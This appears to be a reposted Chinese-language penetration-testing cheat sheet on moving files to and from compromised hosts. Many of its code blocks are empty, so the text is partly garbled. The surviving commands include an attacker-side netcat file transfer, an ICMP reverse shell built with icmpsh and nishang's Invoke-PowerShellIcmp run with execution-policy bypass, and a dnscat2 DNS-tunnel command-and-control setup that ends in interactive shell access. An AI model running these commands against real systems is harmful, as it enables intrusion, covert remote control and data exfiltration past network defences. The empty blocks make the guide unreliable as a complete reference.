常见文件传输方法
搬运自:0d4y
wput
1 | |
wget
1 | |
ariac2
需安装1
aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2
powershell
1 | |
vbs脚本
1 | |
cscript test.vbs
perl
1 | |
执行:perl test.pl
python
1 | |
ruby
1 | |
执行:ruby test.rb
php
1 | |
执行:php test.php
NC
attacker
1
cat file | nc -l 1234target
1
nc host_ip 1234 > file
FTP
1 | |
TFTP
1 | |
Bitsadmin
1 | |
Window 文件共享
1 | |
SCP
本地到远程
1
scp file user@host.com:/tmp远程到本地
1
scp user@host.com:/tmp file
rsync
远程rsync服务器中拷贝文件到本地机
1
rsync -av root@192.168.78.192::www /databack本地机器拷贝文件到远程rsync服务器
1
rsync -av /databack root@192.168.78.192::www
certuuil.exe
1 | |
icmp传输反弹shell
工具nishang、icmpsh
忽略icmp回显
1
sysctl -w net.ipv4.icmp_echo_ignore_all=1开启icmp监听
1
python icmpsh_m.py 192.168.158.133 192.168.158.128进入nishang\Shells路径
Powershell加载并运行
1
2
3Import-module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp
192.168.158.133cmd中运行Powershell加载并运行
1
powershell.exe -exec bypass "import-module .\Invoke-PowerShellIcmp.ps1;Invoke-PowerShellIcmp 192.168.158.133"
whois传输
1 | |
DNS传输
外网server端
1
2
3
4
5
6
7
8
9git clone https://github.com/iagox86/dnscat2.git
cd server
gem install bundler
bundle install
ruby .dnscat2.rb
./dnscat --dns server=x.x.x.x,port=53 --secret=32fjafja[fjoas
# 需要ruby环境,若无法安装ruby,尝试命令:
apt install ruby-devKali client端
1
2
3
4git clone https://github.com/iagox86/dnscat2.git
cd client
make
./dnscat --dns server=x.x.x.x,port=53 --secret=32fjafja[fjoasWindows client端
下载工具Dnscat2.exe1
2https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip
dnscat2-v0.07-client-win32.exe --dns server=x.x.x.x --secret=32fjafja[fjoas外网server端控制shell
1
2
3
4
5
6
7dnscat2>
help
windows
window -i 1
shell
session -i 2
whoami